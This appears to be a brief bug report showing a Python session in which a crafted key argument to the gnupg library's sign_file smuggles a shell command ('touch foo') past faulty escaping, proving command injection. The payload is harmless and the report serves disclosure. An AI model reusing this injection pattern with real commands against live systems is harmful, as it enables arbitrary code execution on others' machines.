This appears to (at least) miss escaping of backslashes:
$ ls foo
ls: cannot access foo: No such file or directory
$ python
Python 2.7.6 (default, Jan 11 2014, 14:34:26)
[GCC 4.8.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import gnupg
>>> gnupg.GPG().sign_file(open("/dev/null"), "'\\\"; touch foo #'")
<gnupg.Sign object at 0x7fb3dbfad7d0>
>>>
$ ls foo
foo
